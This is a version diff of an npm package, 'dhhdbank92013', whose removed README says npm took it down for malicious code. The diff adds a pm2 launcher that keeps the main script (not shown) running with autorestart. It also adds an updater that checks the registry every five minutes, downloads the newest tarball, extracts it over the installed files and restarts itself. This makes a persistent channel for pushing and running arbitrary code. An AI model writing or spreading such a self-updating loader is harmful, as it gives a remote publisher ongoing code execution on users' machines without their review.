dhhdbank92013 0.0.1-security → 1.250516.11333

package/package.json

@@ -1,6 +1,27 @@
 {
   "name": "dhhdbank92013",
-  "version": "0.0.1-security",
-  "description": "security holding package",
-  "repository": "npm/security-holder"
-}
+  "version": "1.250516.11333",
+  "description": "dh-services-dhhdbank92013",
+  "main": "index.js",
+  "bin": {
+    "dhhdbank92013": "pm2.js"
+  },
+  "scripts": {
+    "start": "node index.js"
+  },
+  "pm2StartOption": {
+    "watch": false,
+    "autorestart": true
+  },
+  "pm2Updater": {
+    "MINUTE_CHECK_UPDATE": 5,
+    "USE_NPM_URL": true
+  },
+  "author": "ONG TRIEU HAU",
+  "license": "MIT",
+  "dependencies": {
+    "pm2": "^6.0.5",
+    "tar": "^7.4.3",
+    "dotenv": "^16.4.5"
+  }
+}

package/pm2.js

@@ -0,0 +1,109 @@
+#!/usr/bin/env node
+const pm2 = require("pm2");
+const path = require("path");
+const fs = require("fs");
+const npmHelper = (() => {
+  const getPackagePath = () => {
+    const cliDir = path.dirname(process.argv[1]);
+    const packagePath = path.join(cliDir, "package.json");
+    return packagePath;
+  };
+  const getPackageDir = () => {
+    return path.dirname(getPackagePath());
+  };
+  const getPackageJson = () => {
+    try {
+      return JSON.parse(fs.readFileSync(getPackagePath(), "utf8"));
+    } catch (error) {
+      throw error;
+    }
+  };
+  return {
+    getPackageJson,
+    getPackagePath,
+    getPackageDir,
+  };
+})();
+
+// Hàm kết nối PM2 và xử lý lỗi
+const connectPM2 = (callback) => {
+  pm2.connect((err) => {
+    if (err) {
+      console.error(`pm2.connect: ${err.message}`);
+      console.error(err);
+      process.exit(2);
+    }
+    callback();
+  });
+};
+
+// Hàm tạo cấu hình pm2 từ package.json
+const createPM2Config = () => {
+  let package = npmHelper.getPackageJson();
+  let cliDir = npmHelper.getPackageDir();
+
+  if (!("pm2StartOption" in package)) {
+    package.pm2StartOption = {};
+  }
+
+  if (!("name" in package.pm2StartOption)) {
+    package.pm2StartOption.name = package.name;
+  }
+
+  if (!("script" in package.pm2StartOption) && "main" in package) {
+    package.pm2StartOption.script = path.join(cliDir, package.main);
+  }
+  // Lấy thư mục hiện tại nơi script đang chạy
+  const currentCwd = process.cwd();
+  package.pm2StartOption.cwd = currentCwd;
+  // Lấy tất cả các đối số từ vị trí thứ 2 trở đi
+  const pm2Args = process.argv.slice(2).join(" ");
+  // Nếu không có đối số nào, args sẽ là một mảng rỗng
+  package.pm2StartOption.args = pm2Args;
+  package.pm2StartOption = [package.pm2StartOption];
+  package.pm2StartOption.push({
+    name: `${package.name}-updater`,
+    script: path.join(cliDir, `pm2.updater.js`),
+    cwd: currentCwd,
+    args: pm2Args,
+  });
+
+  return package.pm2StartOption;
+};
+
+// Hàm khởi động ứng dụng PM2
+const startPM2App = (pm2StartOption) => {
+  pm2.start(pm2StartOption, (err, apps) => {
+    if (err) {
+      console.error(`pm2.start: ${err.message}`);
+      console.error(err);
+      pm2.disconnect(); // Đảm bảo gọi disconnect nếu có lỗi
+      process.exit(2);
+    }
+    console.log(`Đã khởi động ứng dụng: ${npmHelper.getPackageJson().name}@${npmHelper.getPackageJson().version}`);
+    pm2.disconnect();
+  });
+};
+
+// Hàm chính để xử lý toàn bộ logic
+const mainPM2 = async () => {
+  try {
+    connectPM2(() => {
+      try {
+        const pm2StartOption = createPM2Config();
+        startPM2App(pm2StartOption);
+      } catch (error) {
+        console.error(error.message);
+        console.error(error);
+        pm2.disconnect();
+        process.exit(2);
+      }
+    });
+  } catch (error) {
+    console.error(`Lỗi ngoài ý muốn: ${error.message}`);
+    console.error(error);
+    process.exit(2);
+  }
+};
+
+mainPM2();

package/pm2.updater.js

@@ -0,0 +1,213 @@
+const fs = require("fs");
+const path = require("path");
+const https = require("https");
+const tar = require("tar");
+const pm2 = require("pm2");
+const dotenv = require("dotenv");
+const envResolve = (() => {
+  function loadEnv() {
+    try {
+      const envPaths = [
+        path.join(process.cwd(), ".env"),
+        path.join(path.dirname(process.argv[1]), ".env"),
+        path.join(path.dirname(__filename), ".env"),
+        path.join(__dirname, ".env"),
+      ];
+      for (let i = 0; i < envPaths.length; i++) {
+        let itemPath = envPaths[i];
+        console.log(`loadEnv: ${itemPath}`);
+        if (fs.existsSync(itemPath) && fs.statSync(itemPath).isFile()) {
+          dotenv.config({ path: itemPath });
+          return;
+        }
+      }
+    } catch (error) {
+      console.error(`envResolve:::${error.message}`);
+      console.error(error);
+    }
+  }
+  loadEnv();
+})();
+const localUpdate = (() => {
+  // Hàm đồng bộ tìm các tệp có tên chứa chuỗi và phần mở rộng xác định, và sắp xếp theo thời gian
+  function getLatestFile(directory, fileName, extension) {
+    try {
+      // Đọc tất cả tệp trong thư mục
+      const files = fs.readdirSync(directory);
+
+      // Mảng để lưu trữ các tệp khớp với điều kiện
+      let matchingFiles = [];
+
+      // Duyệt qua các tệp và kiểm tra điều kiện
+      files.forEach((file) => {
+        const filePath = path.join(directory, file);
+
+        // Kiểm tra nếu tên tệp chứa fileName và có phần mở rộng là extension
+        if (file.includes(fileName) && path.extname(file) === extension) {
+          // Lấy thông tin về tệp, bao gồm thời gian sửa đổi
+          const stats = fs.statSync(filePath);
+
+          // Thêm tệp và thời gian sửa đổi vào mảng matchingFiles
+          matchingFiles.push({
+            filePath,
+            mtime: stats.mtime, // Thời gian sửa đổi
+          });
+        }
+      });
+      if (matchingFiles.length <= 0) return "";
+      if (matchingFiles.length === 1) return matchingFiles[0].filePath;
+      // Sắp xếp các tệp theo thời gian từ cũ tới mới
+      matchingFiles.sort((a, b) => a.mtime - b.mtime);
+      // # Lấy phần tử cuối cùng
+      let latest = matchingFiles.pop();
+      matchingFiles.forEach((file) => {
+        try {
+          fs.unlinkSync(file.filePath);
+          console.log(`Đã xóa tệp cũ: ${file.filePath}`);
+        } catch (err) {
+          console.error(`Lỗi khi xóa tệp ${file.filePath}:`, err);
+        }
+      });
+      return latest.filePath;
+    } catch (err) {
+      console.error("Lỗi khi đọc thư mục:", err);
+      return [];
+    }
+  }
+  return {
+    getLatestFile,
+  };
+})();
+
+let targetDirectory = path.dirname(__filename);
+let packageJSON = {};
+let currentVersion = ``;
+let packageName = ``;
+let npmUrl = ``;
+
+const getCurrentVersion = () => {
+  packageJSON = JSON.parse(fs.readFileSync(path.join(targetDirectory, "package.json"), "utf8"));
+  currentVersion = packageJSON["version"];
+  packageName = packageJSON["name"];
+  if (packageJSON.pm2Updater?.USE_NPM_URL === true) {
+    npmUrl = `https://registry.npmjs.org/${packageName}/latest`;
+  }
+};
+
+// Lấy thông tin phiên bản mới nhất từ npm registry
+async function checkAndUpdatePackage() {
+  try {
+    getCurrentVersion();
+    let localLatestPath = localUpdate.getLatestFile(targetDirectory, packageName, ".tgz");
+    if (localLatestPath !== "" && fs.statSync(localLatestPath).isFile()) {
+      console.log(`Cập nhật từ local: ${localLatestPath}`);
+      extractTarball(localLatestPath, targetDirectory);
+      return;
+    }
+    if (npmUrl === "") return;
+    console.log(` => Phiên bản hiện tại: ${packageName}@${currentVersion}`);
+    const response = await fetch(npmUrl);
+    if (!response.ok) {
+      throw new Error("Không thể lấy thông tin từ npm registry");
+    }
+    const data = await response.json();
+    const latestVersion = data.version;
+    if (!currentVersion) {
+      console.error(`Không tìm thấy gói ${packageName} trong package.json`);
+      return;
+    }
+    console.log(` => Phiên bản mới nhất: ${packageName}@${latestVersion}`);
+    // So sánh phiên bản hiện tại và phiên bản mới nhất
+    if (currentVersion !== latestVersion) {
+      console.log("Cập nhật gói mới...");
+      const tarballUrl = data.dist.tarball;
+      await downloadAndExtract(tarballUrl, targetDirectory);
+    } else {
+      console.log(`Phiên bản ${packageName} đã được cập nhật.`);
+    }
+  } catch (error) {
+    console.error("Lỗi khi lấy thông tin từ npm:", error);
+  }
+}
+// Tải về và giải nén tệp .tgz
+async function downloadAndExtract(tarballUrl, targetDir) {
+  const fileName = tarballUrl.split("/").pop();
+  const filePath = path.join(targetDir, fileName);
+  try {
+    const writer = fs.createWriteStream(filePath);
+    const request = https.get(tarballUrl, (response) => {
+      response.pipe(writer);
+      writer.on("finish", () => {
+        console.log(`Tải về ${fileName} thành công!`);
+        extractTarball(filePath, targetDir);
+      });
+    });
+    request.on("error", (err) => {
+      console.error("Lỗi tải tệp:", err);
+    });
+  } catch (error) {
+    console.error("Lỗi tải tệp .tgz:", error);
+  }
+}
+// Giải nén tệp .tgz vào thư mục hiện tại
+function extractTarball(filePath, targetDir) {
+  tar
+    .x({
+      file: filePath,
+      C: targetDir,
+      strip: 1, // Loại bỏ thư mục gốc, chỉ giải nén các tệp trong thư mục này
+    })
+    .then(() => {
+      console.log(`Giải nén ${filePath} thành công.`);
+      fs.unlinkSync(filePath); // Xóa file .tgz sau khi giải nén xong
+
+      // 💡 Danh sách tên các app cần restart (tùy ý)
+      const appsToRestart = [`${packageJSON.name}-updater`, packageName]; // có thể đọc từ biến môi trường, argv, v.v.
+
+      pm2.connect((err) => {
+        if (err) {
+          console.error("❌ Không kết nối được với PM2:", err);
+          process.exit(2);
+        }
+        // Dùng Promise để chờ restart tuần tự (hoặc dùng callback lồng nhau)
+        const restartApp = (appName) =>
+          new Promise((resolve, reject) => {
+            console.log(`🔄 Đang restart ứng dụng: ${appName}`);
+            pm2.restart(appName, (err) => {
+              if (err) {
+                console.error(`❌ Lỗi khi restart ${appName}:`, err.message);
+                reject(err);
+              } else {
+                console.log(`✅ Đã restart: ${appName}`);
+                resolve();
+              }
+            });
+          });
+
+        // Chạy restart tuần tự
+        (async () => {
+          try {
+            for (const app of appsToRestart) {
+              await restartApp(app);
+            }
+          } catch (e) {
+            console.error("🚨 Có lỗi khi restart một trong các app.");
+          } finally {
+            pm2.disconnect();
+          }
+        })();
+      });
+    })
+    .catch((err) => {
+      console.error("Lỗi giải nén tệp:", err);
+    });
+}
+// Kiểm tra và cập nhật gói
+checkAndUpdatePackage();
+// Sau đó gọi lại mỗi 2 giờ (2 * 60 * 60 * 1000 ms)
+const MINUTE_CHECK_UPDATE = (() => {
+  if ("MINUTE_CHECK_UPDATE" in process.env) return process.env.MINUTE_CHECK_UPDATE;
+  if ("pm2Updater" in packageJSON && "MINUTE_CHECK_UPDATE" in packageJSON.pm2Updater) return packageJSON.pm2Updater.MINUTE_CHECK_UPDATE;
+  return 5;
+})();
+setInterval(checkAndUpdatePackage, 1000 * 1 * 60 * MINUTE_CHECK_UPDATE);

package/README.md

@@ -1,5 +0,0 @@
-# Security holding package
-
-This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
-
-Please refer to www.npmjs.com/advisories?search=dhhdbank92013 for more information.